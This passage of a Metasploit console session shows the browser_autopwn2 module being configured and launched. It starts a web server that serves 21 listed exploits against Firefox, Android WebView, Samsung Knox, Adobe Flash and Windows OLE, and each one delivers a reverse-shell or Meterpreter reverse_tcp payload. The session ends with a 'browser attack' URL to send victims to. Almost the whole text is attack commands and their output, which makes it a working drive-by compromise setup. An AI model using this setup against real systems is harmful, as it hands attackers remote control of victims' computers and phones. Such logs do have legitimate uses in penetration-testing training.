   INCLUDE_PATTERN                   no        Pattern search to include specific modules
   Retries          true             no        Allow the browser to retry the module
   SRVHOST          0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT          8080             yes       The local port to listen on.
   SSL              false            no        Negotiate SSL for incoming connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                           no        The URI to use for this exploit (default is random)

Auxiliary action:

   Name       Description
   ----       -----------
   WebServer  Start a bunch of modules and direct clients to appropriate exploits

msf auxiliary(browser_autopwn2) > set URIPATH /
URIPATH => /
msf auxiliary(browser_autopwn2) > run
[*] Auxiliary module execution completed

[*] Searching BES exploits, please wait...
msf auxiliary(browser_autopwn2) > [*] Starting exploit modules...
[*] Starting listeners...
[*] Starting the payload handler...
[*] Starting the payload handler...
[*] Starting the payload handler...
[*] Using URL: http://0.0.0.0:8080/

[*] The following is a list of exploits that BrowserAutoPwn will consider using.
[*] Exploits with the highest ranking and newest will be tried first.

Exploits
========

 Order  Rank       Name                                       Payload
 -----  ----       ----                                       -------
 1      Excellent  firefox_webidl_injection                   firefox/shell_reverse_tcp on 4442
 2      Excellent  firefox_tostring_console_injection         firefox/shell_reverse_tcp on 4442
 3      Excellent  firefox_svg_plugin                         firefox/shell_reverse_tcp on 4442
 4      Excellent  firefox_proto_crmfrequest                  firefox/shell_reverse_tcp on 4442
 5      Excellent  webview_addjavascriptinterface             android/meterpreter/reverse_tcp on 4443
 6      Excellent  samsung_knox_smdm_url                      android/meterpreter/reverse_tcp on 4443
 7      Great      adobe_flash_worker_byte_array_uaf          windows/meterpreter/reverse_tcp on 4444
 8      Great      adobe_flash_domain_memory_uaf              windows/meterpreter/reverse_tcp on 4444
 9      Great      adobe_flash_copy_pixels_to_byte_array      windows/meterpreter/reverse_tcp on 4444
 10     Great      adobe_flash_casi32_int_overflow            windows/meterpreter/reverse_tcp on 4444
 11     Great      adobe_flash_uncompress_zlib_uaf            windows/meterpreter/reverse_tcp on 4444
 12     Great      adobe_flash_shader_job_overflow            windows/meterpreter/reverse_tcp on 4444
 13     Great      adobe_flash_shader_drawing_fill            windows/meterpreter/reverse_tcp on 4444
 14     Great      adobe_flash_pixel_bender_bof               windows/meterpreter/reverse_tcp on 4444
 15     Great      adobe_flash_opaque_background_uaf          windows/meterpreter/reverse_tcp on 4444
 16     Great      adobe_flash_net_connection_confusion       windows/meterpreter/reverse_tcp on 4444
 17     Great      adobe_flash_nellymoser_bof                 windows/meterpreter/reverse_tcp on 4444
 18     Great      adobe_flash_hacking_team_uaf               windows/meterpreter/reverse_tcp on 4444
 19     Good       wellintech_kingscada_kxclientdownload      windows/meterpreter/reverse_tcp on 4444
 20     Good       ms14_064_ole_code_execution                windows/meterpreter/reverse_tcp on 4444
 21     Good       adobe_flash_uncompress_zlib_uninitialized  windows/meterpreter/reverse_tcp on 4444

[+] Please use the following URL for the browser attack:
[+] BrowserAutoPwn URL: http://x.x.x.x:8080/
[*] Server started.